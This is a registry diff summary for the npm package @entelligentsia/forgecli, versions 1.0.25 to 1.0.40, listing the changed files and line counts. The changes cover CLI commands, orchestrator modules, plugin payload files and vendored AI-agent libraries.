@entelligentsia/forgecli 1.0.25 → 1.0.40
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/CHANGELOG.md +341 -0
- package/README.md +2 -0
- package/dist/CHANGELOG-forge-plugin.md +264 -0
- package/dist/CHANGELOG-pi.md +143 -0
- package/dist/bin/argv.d.ts +2 -2
- package/dist/bin/argv.js +37 -0
- package/dist/bin/argv.js.map +1 -1
- package/dist/bin/forge.js +30 -16
- package/dist/bin/forge.js.map +1 -1
- package/dist/bin/init.d.ts +23 -0
- package/dist/bin/init.js +123 -0
- package/dist/bin/init.js.map +1 -0
- package/dist/bin/reset.d.ts +39 -0
- package/dist/bin/reset.js +101 -0
- package/dist/bin/reset.js.map +1 -0
- package/dist/bin/uninstall.d.ts +20 -0
- package/dist/bin/uninstall.js +141 -0
- package/dist/bin/uninstall.js.map +1 -0
- package/dist/extensions/forgecli/claude-bootstrap/bootstrap.d.ts +40 -0
- package/dist/extensions/forgecli/claude-bootstrap/bootstrap.js +384 -0
- package/dist/extensions/forgecli/claude-bootstrap/bootstrap.js.map +1 -0
- package/dist/extensions/forgecli/claude-bootstrap/settings-merge.d.ts +46 -0
- package/dist/extensions/forgecli/claude-bootstrap/settings-merge.js +245 -0
- package/dist/extensions/forgecli/claude-bootstrap/settings-merge.js.map +1 -0
- package/dist/extensions/forgecli/claude-bootstrap/uninstall.d.ts +23 -0
- package/dist/extensions/forgecli/claude-bootstrap/uninstall.js +235 -0
- package/dist/extensions/forgecli/claude-bootstrap/uninstall.js.map +1 -0
- package/dist/extensions/forgecli/commands/reset.d.ts +16 -0
- package/dist/extensions/forgecli/commands/reset.js +83 -0
- package/dist/extensions/forgecli/commands/reset.js.map +1 -0
- package/dist/extensions/forgecli/dashboard/component.js +10 -7
- package/dist/extensions/forgecli/dashboard/component.js.map +1 -1
- package/dist/extensions/forgecli/forge-commands.d.ts +7 -2
- package/dist/extensions/forgecli/forge-commands.js +19 -5
- package/dist/extensions/forgecli/forge-commands.js.map +1 -1
- package/dist/extensions/forgecli/forge-subagent.d.ts +4 -4
- package/dist/extensions/forgecli/hooks/forge-permissions.js +20 -6
- package/dist/extensions/forgecli/hooks/forge-permissions.js.map +1 -1
- package/dist/extensions/forgecli/index.js +6 -3
- package/dist/extensions/forgecli/index.js.map +1 -1
- package/dist/extensions/forgecli/lib/forge-root.d.ts +6 -0
- package/dist/extensions/forgecli/lib/forge-root.js +52 -0
- package/dist/extensions/forgecli/lib/forge-root.js.map +1 -1
- package/dist/extensions/forgecli/lib/payload-manifest.d.ts +62 -0
- package/dist/extensions/forgecli/lib/payload-manifest.js +151 -0
- package/dist/extensions/forgecli/lib/payload-manifest.js.map +1 -0
- package/dist/extensions/forgecli/orchestrators/advisory-render.d.ts +9 -0
- package/dist/extensions/forgecli/orchestrators/advisory-render.js +107 -0
- package/dist/extensions/forgecli/orchestrators/advisory-render.js.map +1 -0
- package/dist/extensions/forgecli/orchestrators/bug/bug-body.d.ts +1 -0
- package/dist/extensions/forgecli/orchestrators/bug/bug-body.js +65 -0
- package/dist/extensions/forgecli/orchestrators/bug/bug-body.js.map +1 -0
- package/dist/extensions/forgecli/orchestrators/bug/bug-id.d.ts +23 -0
- package/dist/extensions/forgecli/orchestrators/bug/bug-id.js +140 -0
- package/dist/extensions/forgecli/orchestrators/bug/bug-id.js.map +1 -0
- package/dist/extensions/forgecli/orchestrators/bug/bug-phase-dispatch.d.ts +54 -0
- package/dist/extensions/forgecli/orchestrators/bug/bug-phase-dispatch.js +349 -0
- package/dist/extensions/forgecli/orchestrators/bug/bug-phase-dispatch.js.map +1 -0
- package/dist/extensions/forgecli/orchestrators/bug/bug-phases.d.ts +11 -0
- package/dist/extensions/forgecli/orchestrators/bug/bug-phases.js +82 -0
- package/dist/extensions/forgecli/orchestrators/bug/bug-phases.js.map +1 -0
- package/dist/extensions/forgecli/orchestrators/bug/bug-state.d.ts +14 -0
- package/dist/extensions/forgecli/orchestrators/bug/bug-state.js +100 -0
- package/dist/extensions/forgecli/orchestrators/bug/bug-state.js.map +1 -0
- package/dist/extensions/forgecli/orchestrators/bug/bug-triage-routing.d.ts +72 -0
- package/dist/extensions/forgecli/orchestrators/bug/bug-triage-routing.js +204 -0
- package/dist/extensions/forgecli/orchestrators/bug/bug-triage-routing.js.map +1 -0
- package/dist/extensions/forgecli/orchestrators/bug/bug-verdict-loop.d.ts +38 -0
- package/dist/extensions/forgecli/orchestrators/bug/bug-verdict-loop.js +198 -0
- package/dist/extensions/forgecli/orchestrators/bug/bug-verdict-loop.js.map +1 -0
- package/dist/extensions/forgecli/orchestrators/bug/bug-verdict.d.ts +3 -0
- package/dist/extensions/forgecli/orchestrators/bug/bug-verdict.js +55 -0
- package/dist/extensions/forgecli/orchestrators/bug/bug-verdict.js.map +1 -0
- package/dist/extensions/forgecli/orchestrators/bug/run-bug-command.d.ts +7 -0
- package/dist/extensions/forgecli/orchestrators/bug/run-bug-command.js +293 -0
- package/dist/extensions/forgecli/orchestrators/bug/run-bug-command.js.map +1 -0
- package/dist/extensions/forgecli/orchestrators/bug/run-bug-pipeline.d.ts +2 -0
- package/dist/extensions/forgecli/orchestrators/bug/run-bug-pipeline.js +501 -0
- package/dist/extensions/forgecli/orchestrators/bug/run-bug-pipeline.js.map +1 -0
- package/dist/extensions/forgecli/orchestrators/bug/run-bug-types.d.ts +41 -0
- package/dist/extensions/forgecli/orchestrators/bug/run-bug-types.js +5 -0
- package/dist/extensions/forgecli/orchestrators/bug/run-bug-types.js.map +1 -0
- package/dist/extensions/forgecli/orchestrators/common/orchestrator-entry.d.ts +43 -0
- package/dist/extensions/forgecli/orchestrators/common/orchestrator-entry.js +85 -0
- package/dist/extensions/forgecli/orchestrators/common/orchestrator-entry.js.map +1 -0
- package/dist/extensions/forgecli/orchestrators/common/orchestrator-misc.d.ts +8 -0
- package/dist/extensions/forgecli/orchestrators/common/orchestrator-misc.js +37 -0
- package/dist/extensions/forgecli/orchestrators/common/orchestrator-misc.js.map +1 -0
- package/dist/extensions/forgecli/orchestrators/common/orchestrator-notify.d.ts +28 -0
- package/dist/extensions/forgecli/orchestrators/common/orchestrator-notify.js +45 -0
- package/dist/extensions/forgecli/orchestrators/common/orchestrator-notify.js.map +1 -0
- package/dist/extensions/forgecli/orchestrators/common/orchestrator-transcript-session.d.ts +26 -0
- package/dist/extensions/forgecli/orchestrators/common/orchestrator-transcript-session.js +75 -0
- package/dist/extensions/forgecli/orchestrators/common/orchestrator-transcript-session.js.map +1 -0
- package/dist/extensions/forgecli/orchestrators/common/recovery-menu.d.ts +24 -0
- package/dist/extensions/forgecli/orchestrators/common/recovery-menu.js +58 -0
- package/dist/extensions/forgecli/orchestrators/common/recovery-menu.js.map +1 -0
- package/dist/extensions/forgecli/orchestrators/common/reset-pipeline.d.ts +53 -0
- package/dist/extensions/forgecli/orchestrators/common/reset-pipeline.js +131 -0
- package/dist/extensions/forgecli/orchestrators/common/reset-pipeline.js.map +1 -0
- package/dist/extensions/forgecli/orchestrators/common/summary-recovery.d.ts +24 -0
- package/dist/extensions/forgecli/orchestrators/common/summary-recovery.js +37 -0
- package/dist/extensions/forgecli/orchestrators/common/summary-recovery.js.map +1 -0
- package/dist/extensions/forgecli/orchestrators/fix-bug.d.ts +9 -93
- package/dist/extensions/forgecli/orchestrators/fix-bug.js +23 -1721
- package/dist/extensions/forgecli/orchestrators/fix-bug.js.map +1 -1
- package/dist/extensions/forgecli/orchestrators/halt-advisor.js +25 -3
- package/dist/extensions/forgecli/orchestrators/halt-advisor.js.map +1 -1
- package/dist/extensions/forgecli/orchestrators/run-sprint.d.ts +3 -12
- package/dist/extensions/forgecli/orchestrators/run-sprint.js +48 -270
- package/dist/extensions/forgecli/orchestrators/run-sprint.js.map +1 -1
- package/dist/extensions/forgecli/orchestrators/run-task.d.ts +10 -214
- package/dist/extensions/forgecli/orchestrators/run-task.js +31 -1481
- package/dist/extensions/forgecli/orchestrators/run-task.js.map +1 -1
- package/dist/extensions/forgecli/orchestrators/sprint/sprint-ceremony.d.ts +33 -0
- package/dist/extensions/forgecli/orchestrators/sprint/sprint-ceremony.js +135 -0
- package/dist/extensions/forgecli/orchestrators/sprint/sprint-ceremony.js.map +1 -0
- package/dist/extensions/forgecli/orchestrators/sprint/sprint-state.d.ts +18 -0
- package/dist/extensions/forgecli/orchestrators/sprint/sprint-state.js +55 -0
- package/dist/extensions/forgecli/orchestrators/sprint/sprint-state.js.map +1 -0
- package/dist/extensions/forgecli/orchestrators/task/run-task-command.d.ts +9 -0
- package/dist/extensions/forgecli/orchestrators/task/run-task-command.js +174 -0
- package/dist/extensions/forgecli/orchestrators/task/run-task-command.js.map +1 -0
- package/dist/extensions/forgecli/orchestrators/task/run-task-pipeline.d.ts +2 -0
- package/dist/extensions/forgecli/orchestrators/task/run-task-pipeline.js +494 -0
- package/dist/extensions/forgecli/orchestrators/task/run-task-pipeline.js.map +1 -0
- package/dist/extensions/forgecli/orchestrators/task/run-task-types.d.ts +62 -0
- package/dist/extensions/forgecli/orchestrators/task/run-task-types.js +5 -0
- package/dist/extensions/forgecli/orchestrators/task/run-task-types.js.map +1 -0
- package/dist/extensions/forgecli/orchestrators/task/task-body.d.ts +4 -0
- package/dist/extensions/forgecli/orchestrators/task/task-body.js +48 -0
- package/dist/extensions/forgecli/orchestrators/task/task-body.js.map +1 -0
- package/dist/extensions/forgecli/orchestrators/task/task-events.d.ts +63 -0
- package/dist/extensions/forgecli/orchestrators/task/task-events.js +185 -0
- package/dist/extensions/forgecli/orchestrators/task/task-events.js.map +1 -0
- package/dist/extensions/forgecli/orchestrators/task/task-gates.d.ts +34 -0
- package/dist/extensions/forgecli/orchestrators/task/task-gates.js +78 -0
- package/dist/extensions/forgecli/orchestrators/task/task-gates.js.map +1 -0
- package/dist/extensions/forgecli/orchestrators/task/task-phase-dispatch.d.ts +42 -0
- package/dist/extensions/forgecli/orchestrators/task/task-phase-dispatch.js +370 -0
- package/dist/extensions/forgecli/orchestrators/task/task-phase-dispatch.js.map +1 -0
- package/dist/extensions/forgecli/orchestrators/task/task-phases.d.ts +17 -0
- package/dist/extensions/forgecli/orchestrators/task/task-phases.js +48 -0
- package/dist/extensions/forgecli/orchestrators/task/task-phases.js.map +1 -0
- package/dist/extensions/forgecli/orchestrators/task/task-record.d.ts +9 -0
- package/dist/extensions/forgecli/orchestrators/task/task-record.js +58 -0
- package/dist/extensions/forgecli/orchestrators/task/task-record.js.map +1 -0
- package/dist/extensions/forgecli/orchestrators/task/task-state.d.ts +14 -0
- package/dist/extensions/forgecli/orchestrators/task/task-state.js +35 -0
- package/dist/extensions/forgecli/orchestrators/task/task-state.js.map +1 -0
- package/dist/extensions/forgecli/orchestrators/task/task-verdict-loop.d.ts +36 -0
- package/dist/extensions/forgecli/orchestrators/task/task-verdict-loop.js +187 -0
- package/dist/extensions/forgecli/orchestrators/task/task-verdict-loop.js.map +1 -0
- package/dist/extensions/forgecli/store/store-resolver.d.ts +15 -0
- package/dist/extensions/forgecli/store/store-resolver.js +118 -18
- package/dist/extensions/forgecli/store/store-resolver.js.map +1 -1
- package/dist/extensions/forgecli/update/forge-update-command.js +10 -7
- package/dist/extensions/forgecli/update/forge-update-command.js.map +1 -1
- package/dist/forge-payload/.base-pack/workflows/collator_agent.md +5 -6
- package/dist/forge-payload/.base-pack/workflows/migrate_structural.md +1 -1
- package/dist/forge-payload/.base-pack/workflows-js/wfl-init.js +449 -0
- package/dist/forge-payload/.claude-plugin/plugin.json +1 -1
- package/dist/forge-payload/.schemas/enum-catalog.json +2 -2
- package/dist/forge-payload/.schemas/migrations.json +170 -0
- package/dist/forge-payload/.schemas/payload-manifest.schema.json +100 -0
- package/dist/forge-payload/commands/add-pipeline.md +1 -1
- package/dist/forge-payload/commands/add-task.md +3 -3
- package/dist/forge-payload/{.base-pack/commands → commands}/approve.md +2 -2
- package/dist/forge-payload/commands/ask.md +1 -1
- package/dist/forge-payload/commands/check-agent.md +8 -24
- package/dist/forge-payload/{.base-pack/commands → commands}/collate.md +2 -2
- package/dist/forge-payload/{.base-pack/commands → commands}/commit.md +2 -2
- package/dist/forge-payload/commands/config.md +1 -1
- package/dist/forge-payload/commands/enhance.md +31 -5
- package/dist/forge-payload/{.base-pack/commands → commands}/fix-bug.md +2 -2
- package/dist/forge-payload/commands/health.md +1 -1
- package/dist/forge-payload/{.base-pack/commands → commands}/implement.md +2 -2
- package/dist/forge-payload/commands/init.md +186 -67
- package/dist/forge-payload/{.base-pack/commands → commands}/new-sprint.md +2 -2
- package/dist/forge-payload/{.base-pack/commands → commands}/plan-sprint.md +2 -2
- package/dist/forge-payload/{.base-pack/commands → commands}/plan.md +2 -2
- package/dist/forge-payload/commands/rebuild.md +3 -3
- package/dist/forge-payload/commands/remove.md +1 -1
- package/dist/forge-payload/commands/repair.md +1 -1
- package/dist/forge-payload/commands/report-bug.md +1 -1
- package/dist/forge-payload/commands/reset.md +117 -0
- package/dist/forge-payload/{.base-pack/commands → commands}/retro.md +2 -2
- package/dist/forge-payload/{.base-pack/commands → commands}/review-code.md +2 -2
- package/dist/forge-payload/{.base-pack/commands → commands}/review-plan.md +2 -2
- package/dist/forge-payload/{.base-pack/commands → commands}/run-sprint.md +2 -2
- package/dist/forge-payload/{.base-pack/commands → commands}/run-task.md +2 -2
- package/dist/forge-payload/commands/status.md +1 -1
- package/dist/forge-payload/commands/update.md +3 -3
- package/dist/forge-payload/{.base-pack/commands → commands}/validate.md +2 -2
- package/dist/forge-payload/hooks/forge-permissions.cjs +29 -6
- package/dist/forge-payload/hooks/lib/common.cjs +228 -0
- package/dist/forge-payload/hooks/lib/plugin-detection.cjs +106 -0
- package/dist/forge-payload/hooks/lib/update-msg.cjs +23 -0
- package/dist/forge-payload/hooks/lib/update-url.cjs +46 -0
- package/dist/forge-payload/hooks/lib/write-registry.js +53 -0
- package/dist/forge-payload/init/discovery/discover-database.md +32 -0
- package/dist/forge-payload/init/discovery/discover-processes.md +31 -0
- package/dist/forge-payload/init/discovery/discover-routing.md +31 -0
- package/dist/forge-payload/init/discovery/discover-stack.md +33 -0
- package/dist/forge-payload/init/discovery/discover-testing.md +34 -0
- package/dist/forge-payload/init/generation/generate-commands.md +171 -0
- package/dist/forge-payload/init/generation/generate-kb-doc.md +60 -0
- package/dist/forge-payload/init/generation/generate-persona.md +73 -0
- package/dist/forge-payload/init/generation/generate-skill.md +66 -0
- package/dist/forge-payload/init/generation/generate-template.md +60 -0
- package/dist/forge-payload/init/generation/generate-tools.md +133 -0
- package/dist/forge-payload/init/generation/generate-workflows.md +78 -0
- package/dist/forge-payload/init/phases/phase-1-collect.md +10 -2
- package/dist/forge-payload/init/phases/phase-3-materialize.md +5 -1
- package/dist/forge-payload/init/phases/phase-4-register.md +8 -0
- package/dist/forge-payload/init/workflow-gen-plan.json +17 -0
- package/dist/forge-payload/integrity.json +33 -18
- package/dist/forge-payload/meta/workflows/meta-collate.md +5 -6
- package/dist/forge-payload/meta/workflows/meta-migrate.md +1 -1
- package/dist/forge-payload/payload-manifest.json +314 -0
- package/dist/forge-payload/schemas/enum-catalog.json +2 -2
- package/dist/forge-payload/schemas/payload-manifest.schema.json +100 -0
- package/dist/forge-payload/schemas/structure-manifest.json +5 -12
- package/dist/forge-payload/tools/forge-preflight.cjs +268 -0
- package/dist/forge-payload/tools/lib/paths.cjs +12 -11
- package/dist/forge-payload/tools/lib/pricing.cjs +31 -11
- package/dist/forge-payload/tools/query-logger.cjs +34 -0
- package/dist/forge-payload/tools/reset-plan.cjs +210 -0
- package/dist/forge-payload/tools/store.cjs +4 -1
- package/dist/forge-payload/tools/substitute-placeholders.cjs +14 -7
- package/node_modules/@earendil-works/pi-agent-core/dist/agent-loop.d.ts.map +1 -1
- package/node_modules/@earendil-works/pi-agent-core/dist/agent-loop.js +8 -0
- package/node_modules/@earendil-works/pi-agent-core/dist/agent-loop.js.map +1 -1
- package/node_modules/@earendil-works/pi-agent-core/dist/harness/compaction/compaction.d.ts +1 -1
- package/node_modules/@earendil-works/pi-agent-core/dist/harness/compaction/compaction.d.ts.map +1 -1
- package/node_modules/@earendil-works/pi-agent-core/dist/harness/compaction/compaction.js +1 -1
- package/node_modules/@earendil-works/pi-agent-core/dist/harness/compaction/compaction.js.map +1 -1
- package/node_modules/@earendil-works/pi-agent-core/dist/harness/execution-env.d.ts +4 -0
- package/node_modules/@earendil-works/pi-agent-core/dist/harness/execution-env.d.ts.map +1 -0
- package/node_modules/@earendil-works/pi-agent-core/dist/harness/execution-env.js +3 -0
- package/node_modules/@earendil-works/pi-agent-core/dist/harness/execution-env.js.map +1 -0
- package/node_modules/@earendil-works/pi-agent-core/dist/harness/session/repo/jsonl.d.ts +20 -0
- package/node_modules/@earendil-works/pi-agent-core/dist/harness/session/repo/jsonl.d.ts.map +1 -0
- package/node_modules/@earendil-works/pi-agent-core/dist/harness/session/repo/jsonl.js +92 -0
- package/node_modules/@earendil-works/pi-agent-core/dist/harness/session/repo/jsonl.js.map +1 -0
- package/node_modules/@earendil-works/pi-agent-core/dist/harness/session/repo/memory.d.ts +18 -0
- package/node_modules/@earendil-works/pi-agent-core/dist/harness/session/repo/memory.d.ts.map +1 -0
- package/node_modules/@earendil-works/pi-agent-core/dist/harness/session/repo/memory.js +42 -0
- package/node_modules/@earendil-works/pi-agent-core/dist/harness/session/repo/memory.js.map +1 -0
- package/node_modules/@earendil-works/pi-agent-core/dist/harness/session/repo/shared.d.ts +10 -0
- package/node_modules/@earendil-works/pi-agent-core/dist/harness/session/repo/shared.d.ts.map +1 -0
- package/node_modules/@earendil-works/pi-agent-core/dist/harness/session/repo/shared.js +31 -0
- package/node_modules/@earendil-works/pi-agent-core/dist/harness/session/repo/shared.js.map +1 -0
- package/node_modules/@earendil-works/pi-agent-core/dist/harness/session/storage/jsonl.d.ts +30 -0
- package/node_modules/@earendil-works/pi-agent-core/dist/harness/session/storage/jsonl.d.ts.map +1 -0
- package/node_modules/@earendil-works/pi-agent-core/dist/harness/session/storage/jsonl.js +170 -0
- package/node_modules/@earendil-works/pi-agent-core/dist/harness/session/storage/jsonl.js.map +1 -0
- package/node_modules/@earendil-works/pi-agent-core/dist/harness/session/storage/memory.d.ts +26 -0
- package/node_modules/@earendil-works/pi-agent-core/dist/harness/session/storage/memory.d.ts.map +1 -0
- package/node_modules/@earendil-works/pi-agent-core/dist/harness/session/storage/memory.js +90 -0
- package/node_modules/@earendil-works/pi-agent-core/dist/harness/session/storage/memory.js.map +1 -0
- package/node_modules/@earendil-works/pi-agent-core/dist/types.d.ts +6 -1
- package/node_modules/@earendil-works/pi-agent-core/dist/types.d.ts.map +1 -1
- package/node_modules/@earendil-works/pi-agent-core/dist/types.js.map +1 -1
- package/node_modules/@earendil-works/pi-agent-core/package.json +2 -2
- package/node_modules/@earendil-works/pi-ai/README.md +12 -4
- package/node_modules/@earendil-works/pi-ai/dist/env-api-keys.d.ts.map +1 -1
- package/node_modules/@earendil-works/pi-ai/dist/env-api-keys.js +3 -0
- package/node_modules/@earendil-works/pi-ai/dist/env-api-keys.js.map +1 -1
- package/node_modules/@earendil-works/pi-ai/dist/image-models.generated.d.ts +45 -0
- package/node_modules/@earendil-works/pi-ai/dist/image-models.generated.d.ts.map +1 -1
- package/node_modules/@earendil-works/pi-ai/dist/image-models.generated.js +45 -0
- package/node_modules/@earendil-works/pi-ai/dist/image-models.generated.js.map +1 -1
- package/node_modules/@earendil-works/pi-ai/dist/models.generated.d.ts +1804 -815
- package/node_modules/@earendil-works/pi-ai/dist/models.generated.d.ts.map +1 -1
- package/node_modules/@earendil-works/pi-ai/dist/models.generated.js +2031 -1384
- package/node_modules/@earendil-works/pi-ai/dist/models.generated.js.map +1 -1
- package/node_modules/@earendil-works/pi-ai/dist/providers/amazon-bedrock.d.ts.map +1 -1
- package/node_modules/@earendil-works/pi-ai/dist/providers/amazon-bedrock.js +71 -27
- package/node_modules/@earendil-works/pi-ai/dist/providers/amazon-bedrock.js.map +1 -1
- package/node_modules/@earendil-works/pi-ai/dist/providers/anthropic.d.ts +1 -1
- package/node_modules/@earendil-works/pi-ai/dist/providers/anthropic.d.ts.map +1 -1
- package/node_modules/@earendil-works/pi-ai/dist/providers/anthropic.js +24 -16
- package/node_modules/@earendil-works/pi-ai/dist/providers/anthropic.js.map +1 -1
- package/node_modules/@earendil-works/pi-ai/dist/providers/azure-openai-responses.d.ts.map +1 -1
- package/node_modules/@earendil-works/pi-ai/dist/providers/azure-openai-responses.js +1 -0
- package/node_modules/@earendil-works/pi-ai/dist/providers/azure-openai-responses.js.map +1 -1
- package/node_modules/@earendil-works/pi-ai/dist/providers/openai-codex-responses.d.ts.map +1 -1
- package/node_modules/@earendil-works/pi-ai/dist/providers/openai-codex-responses.js +3 -1
- package/node_modules/@earendil-works/pi-ai/dist/providers/openai-codex-responses.js.map +1 -1
- package/node_modules/@earendil-works/pi-ai/dist/providers/openai-completions.d.ts.map +1 -1
- package/node_modules/@earendil-works/pi-ai/dist/providers/openai-completions.js +35 -13
- package/node_modules/@earendil-works/pi-ai/dist/providers/openai-completions.js.map +1 -1
- package/node_modules/@earendil-works/pi-ai/dist/providers/openai-responses-shared.d.ts.map +1 -1
- package/node_modules/@earendil-works/pi-ai/dist/providers/openai-responses-shared.js +2 -1
- package/node_modules/@earendil-works/pi-ai/dist/providers/openai-responses-shared.js.map +1 -1
- package/node_modules/@earendil-works/pi-ai/dist/providers/openai-responses.d.ts.map +1 -1
- package/node_modules/@earendil-works/pi-ai/dist/providers/openai-responses.js +1 -0
- package/node_modules/@earendil-works/pi-ai/dist/providers/openai-responses.js.map +1 -1
- package/node_modules/@earendil-works/pi-ai/dist/types.d.ts +12 -4
- package/node_modules/@earendil-works/pi-ai/dist/types.d.ts.map +1 -1
- package/node_modules/@earendil-works/pi-ai/dist/types.js.map +1 -1
- package/node_modules/@earendil-works/pi-ai/dist/utils/oauth/github-copilot.d.ts.map +1 -1
- package/node_modules/@earendil-works/pi-ai/dist/utils/oauth/github-copilot.js +13 -1
- package/node_modules/@earendil-works/pi-ai/dist/utils/oauth/github-copilot.js.map +1 -1
- package/node_modules/@earendil-works/pi-ai/dist/utils/oauth/openai-codex.d.ts.map +1 -1
- package/node_modules/@earendil-works/pi-ai/dist/utils/oauth/openai-codex.js +4 -2
- package/node_modules/@earendil-works/pi-ai/dist/utils/oauth/openai-codex.js.map +1 -1
- package/node_modules/@earendil-works/pi-ai/dist/utils/overflow.d.ts +1 -1
- package/node_modules/@earendil-works/pi-ai/dist/utils/overflow.d.ts.map +1 -1
- package/node_modules/@earendil-works/pi-ai/dist/utils/overflow.js +3 -2
- package/node_modules/@earendil-works/pi-ai/dist/utils/overflow.js.map +1 -1
- package/node_modules/@earendil-works/pi-ai/package.json +1 -1
- package/node_modules/@earendil-works/pi-coding-agent/CHANGELOG.md +143 -0
- package/node_modules/@earendil-works/pi-coding-agent/README.md +26 -4
- package/node_modules/@earendil-works/pi-coding-agent/dist/cli/args.d.ts +1 -0
- package/node_modules/@earendil-works/pi-coding-agent/dist/cli/args.d.ts.map +1 -1
- package/node_modules/@earendil-works/pi-coding-agent/dist/cli/args.js +11 -0
- package/node_modules/@earendil-works/pi-coding-agent/dist/cli/args.js.map +1 -1
- package/node_modules/@earendil-works/pi-coding-agent/dist/cli/project-trust.d.ts +10 -0
- package/node_modules/@earendil-works/pi-coding-agent/dist/cli/project-trust.d.ts.map +1 -0
- package/node_modules/@earendil-works/pi-coding-agent/dist/cli/project-trust.js +48 -0
- package/node_modules/@earendil-works/pi-coding-agent/dist/cli/project-trust.js.map +1 -0
- package/node_modules/@earendil-works/pi-coding-agent/dist/cli/startup-ui.d.ts +17 -0
- package/node_modules/@earendil-works/pi-coding-agent/dist/cli/startup-ui.d.ts.map +1 -0
- package/node_modules/@earendil-works/pi-coding-agent/dist/cli/startup-ui.js +128 -0
- package/node_modules/@earendil-works/pi-coding-agent/dist/cli/startup-ui.js.map +1 -0
- package/node_modules/@earendil-works/pi-coding-agent/dist/config.d.ts.map +1 -1
- package/node_modules/@earendil-works/pi-coding-agent/dist/config.js +9 -1
- package/node_modules/@earendil-works/pi-coding-agent/dist/config.js.map +1 -1
- package/node_modules/@earendil-works/pi-coding-agent/dist/core/agent-session-runtime.d.ts +3 -1
- package/node_modules/@earendil-works/pi-coding-agent/dist/core/agent-session-runtime.d.ts.map +1 -1
- package/node_modules/@earendil-works/pi-coding-agent/dist/core/agent-session-runtime.js +4 -1
- package/node_modules/@earendil-works/pi-coding-agent/dist/core/agent-session-runtime.js.map +1 -1
- package/node_modules/@earendil-works/pi-coding-agent/dist/core/agent-session-services.d.ts +2 -1
- package/node_modules/@earendil-works/pi-coding-agent/dist/core/agent-session-services.d.ts.map +1 -1
- package/node_modules/@earendil-works/pi-coding-agent/dist/core/agent-session-services.js +2 -2
- package/node_modules/@earendil-works/pi-coding-agent/dist/core/agent-session-services.js.map +1 -1
- package/node_modules/@earendil-works/pi-coding-agent/dist/core/agent-session.d.ts +4 -1
- package/node_modules/@earendil-works/pi-coding-agent/dist/core/agent-session.d.ts.map +1 -1
- package/node_modules/@earendil-works/pi-coding-agent/dist/core/agent-session.js +16 -3
- package/node_modules/@earendil-works/pi-coding-agent/dist/core/agent-session.js.map +1 -1
- package/node_modules/@earendil-works/pi-coding-agent/dist/core/auth-storage.d.ts.map +1 -1
- package/node_modules/@earendil-works/pi-coding-agent/dist/core/auth-storage.js +4 -3
- package/node_modules/@earendil-works/pi-coding-agent/dist/core/auth-storage.js.map +1 -1
- package/node_modules/@earendil-works/pi-coding-agent/dist/core/compaction/branch-summarization.d.ts +3 -1
- package/node_modules/@earendil-works/pi-coding-agent/dist/core/compaction/branch-summarization.d.ts.map +1 -1
- package/node_modules/@earendil-works/pi-coding-agent/dist/core/compaction/branch-summarization.js +9 -3
- package/node_modules/@earendil-works/pi-coding-agent/dist/core/compaction/branch-summarization.js.map +1 -1
- package/node_modules/@earendil-works/pi-coding-agent/dist/core/compaction/utils.d.ts +1 -1
- package/node_modules/@earendil-works/pi-coding-agent/dist/core/compaction/utils.d.ts.map +1 -1
- package/node_modules/@earendil-works/pi-coding-agent/dist/core/compaction/utils.js +1 -1
- package/node_modules/@earendil-works/pi-coding-agent/dist/core/compaction/utils.js.map +1 -1
- package/node_modules/@earendil-works/pi-coding-agent/dist/core/experimental.d.ts +2 -0
- package/node_modules/@earendil-works/pi-coding-agent/dist/core/experimental.d.ts.map +1 -0
- package/node_modules/@earendil-works/pi-coding-agent/dist/core/experimental.js +4 -0
- package/node_modules/@earendil-works/pi-coding-agent/dist/core/experimental.js.map +1 -0
- package/node_modules/@earendil-works/pi-coding-agent/dist/core/export-html/template.js +19 -6
- package/node_modules/@earendil-works/pi-coding-agent/dist/core/extensions/index.d.ts +1 -1
- package/node_modules/@earendil-works/pi-coding-agent/dist/core/extensions/index.d.ts.map +1 -1
- package/node_modules/@earendil-works/pi-coding-agent/dist/core/extensions/index.js.map +1 -1
- package/node_modules/@earendil-works/pi-coding-agent/dist/core/extensions/loader.d.ts +1 -1
- package/node_modules/@earendil-works/pi-coding-agent/dist/core/extensions/loader.d.ts.map +1 -1
- package/node_modules/@earendil-works/pi-coding-agent/dist/core/extensions/loader.js +4 -4
- package/node_modules/@earendil-works/pi-coding-agent/dist/core/extensions/loader.js.map +1 -1
- package/node_modules/@earendil-works/pi-coding-agent/dist/core/extensions/runner.d.ts +10 -3
- package/node_modules/@earendil-works/pi-coding-agent/dist/core/extensions/runner.d.ts.map +1 -1
- package/node_modules/@earendil-works/pi-coding-agent/dist/core/extensions/runner.js +47 -1
- package/node_modules/@earendil-works/pi-coding-agent/dist/core/extensions/runner.js.map +1 -1
- package/node_modules/@earendil-works/pi-coding-agent/dist/core/extensions/types.d.ts +28 -2
- package/node_modules/@earendil-works/pi-coding-agent/dist/core/extensions/types.d.ts.map +1 -1
- package/node_modules/@earendil-works/pi-coding-agent/dist/core/extensions/types.js.map +1 -1
- package/node_modules/@earendil-works/pi-coding-agent/dist/core/footer-data-provider.d.ts +2 -0
- package/node_modules/@earendil-works/pi-coding-agent/dist/core/footer-data-provider.d.ts.map +1 -1
- package/node_modules/@earendil-works/pi-coding-agent/dist/core/footer-data-provider.js +29 -1
- package/node_modules/@earendil-works/pi-coding-agent/dist/core/footer-data-provider.js.map +1 -1
- package/node_modules/@earendil-works/pi-coding-agent/dist/core/index.d.ts +1 -0
- package/node_modules/@earendil-works/pi-coding-agent/dist/core/index.d.ts.map +1 -1
- package/node_modules/@earendil-works/pi-coding-agent/dist/core/index.js +1 -0
- package/node_modules/@earendil-works/pi-coding-agent/dist/core/index.js.map +1 -1
- package/node_modules/@earendil-works/pi-coding-agent/dist/core/model-registry.d.ts.map +1 -1
- package/node_modules/@earendil-works/pi-coding-agent/dist/core/model-registry.js +1 -0
- package/node_modules/@earendil-works/pi-coding-agent/dist/core/model-registry.js.map +1 -1
- package/node_modules/@earendil-works/pi-coding-agent/dist/core/model-resolver.d.ts +1 -0
- package/node_modules/@earendil-works/pi-coding-agent/dist/core/model-resolver.d.ts.map +1 -1
- package/node_modules/@earendil-works/pi-coding-agent/dist/core/model-resolver.js +44 -5
- package/node_modules/@earendil-works/pi-coding-agent/dist/core/model-resolver.js.map +1 -1
- package/node_modules/@earendil-works/pi-coding-agent/dist/core/package-manager.d.ts +3 -0
- package/node_modules/@earendil-works/pi-coding-agent/dist/core/package-manager.d.ts.map +1 -1
- package/node_modules/@earendil-works/pi-coding-agent/dist/core/package-manager.js +47 -13
- package/node_modules/@earendil-works/pi-coding-agent/dist/core/package-manager.js.map +1 -1
